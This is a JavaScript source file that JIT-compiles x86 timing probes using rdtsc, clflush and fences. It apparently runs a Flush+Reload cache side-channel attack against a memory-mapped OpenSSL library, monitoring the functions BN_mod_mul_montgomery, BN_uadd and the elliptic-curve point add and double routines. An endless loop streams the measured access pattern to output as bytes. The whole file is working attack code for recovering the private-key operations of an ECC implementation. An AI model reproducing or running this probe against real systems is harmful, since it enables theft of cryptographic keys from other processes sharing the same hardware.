|
'use strict'; |
|
|
|
const fs = require('fs'); |
|
const mmap = require('mmap.js'); |
|
const jit = require('jit.js'); |
|
const Buffer = require('buffer').Buffer; |
|
|
|
const THRESHOLD = 150; |
|
const BUSY_ITER = 0x1000; |
|
|
|
const probe = jit.compile(function() { |
|
const busy = this.label(); |
|
const busy_loop = this.label(); |
|
const probe = this.label(); |
|
|
|
this.push('r12'); |
|
this.push('r15'); |
|
|
|
this.lea('r9', [ 'rip', 0xdeadbeef ]); |
|
this.label(probe).use(4, -4, false); |
|
|
|
const arg0 = 'r10'; |
|
const arg1 = 'r11'; |
|
const arg2 = 'r12'; |
|
const arg3 = 'r15'; |
|
|
|
this.mov(arg0, 'rdi'); |
|
this.mov(arg1, 'rsi'); |
|
this.mov(arg2, 'rdx'); |
|
this.mov(arg3, 'rcx'); |
|
|
|
// Probe 1 |
|
|
|
this.mov('rdi', arg0); |
|
this.call('r9'); |
|
this.mov('r8', 'rax'); |
|
|
|
// Probe 2 |
|
|
|
this.mov('rdi', arg1); |
|
this.call('r9'); |
|
this.shl('r8', 1); |
|
this.or('r8', 'rax'); |
|
|
|
// Probe 3 |
|
|
|
this.mov('rdi', arg2); |
|
this.call('r9'); |
|
this.shl('r8', 1); |
|
this.or('r8', 'rax'); |
|
|
|
// Probe 4 |
|
|
|
this.mov('rdi', arg3); |
|
this.call('r9'); |
|
this.shl('r8', 1); |
|
this.or('r8', 'rax'); |
|
|
|
// Flush |
|
|
|
this.mov('rdi', arg0); |
|
this.mov('rsi', arg1); |
|
this.mov('rdx', arg2); |
|
this.mov('rcx', arg3); |
|
|
|
this.clflush([ 'rdi' ]); |
|
this.clflush([ 'rsi' ]); |
|
this.clflush([ 'rdx' ]); |
|
this.clflush([ 'rcx' ]); |
|
|
|
// Busy loop |
|
|
|
this.bind(busy); |
|
this.mov('rcx', BUSY_ITER); |
|
|
|
this.bind(busy_loop); |
|
this.dec('rcx'); |
|
this.cmp('rcx', 0); |
|
this.j('ne', busy_loop); |
|
|
|
// Return whatever we have |
|
|
|
this.pop('r12'); |
|
this.pop('r15'); |
|
this.movl('rax', 'r8'); |
|
this.and('rax', 0xf); |
|
this.ret(); |
|
|
|
while (this.getOffset() % 8 !== 0) |
|
this.nop(); |
|
|
|
// |
|
// Probe routine |
|
// |
|
this.bind(probe); |
|
|
|
this.mfence(); |
|
this.lfence(); |
|
this.rdtsc(); |
|
this.lfence(); |
|
|
|
// Save time |
|
this.movl('rcx', 'rax'); |
|
|
|
// Load cell |
|
this.movl('rdx', [ 'rdi' ]); |
|
this.lfence(); |
|
|
|
// Measure time |
|
this.rdtsc(); |
|
this.sub('rax', 'rcx'); |
|
this.cmp('rax', THRESHOLD); |
|
|
|
// Return 1 if it is less than THRESHOLD |
|
this.set('l', 'rax'); |
|
this.ret(); |
|
}); |
|
|
|
const fd = fs.openSync(process.argv[2], 'r'); |
|
const b = mmap.alloc(1024 * 1024 * 4, mmap.PROT_READ, mmap.MAP_PRIVATE, fd, 0); |
|
|
|
// Pointer to the function ends |
|
// |
|
// BN_mod_mul_montgomery |
|
const mul = jit.ptr(b.slice(0x5c6b0)); |
|
|
|
// BN_uadd |
|
const add = jit.ptr(b.slice(0x54d89)); |
|
|
|
// ec_GFp_simple_add |
|
const ec_add = jit.ptr(b.slice(0x8a731)); |
|
|
|
// ec_GFp_simple_dbl |
|
const ec_dbl = jit.ptr(b.slice(0x8ae72)); |
|
|
|
while (true) { |
|
let hi = probe(mul, add, ec_add, ec_dbl); |
|
let lo = probe(mul, add, ec_add, ec_dbl); |
|
process.stdout.write(String.fromCharCode((hi << 4) | lo)); |
|
} |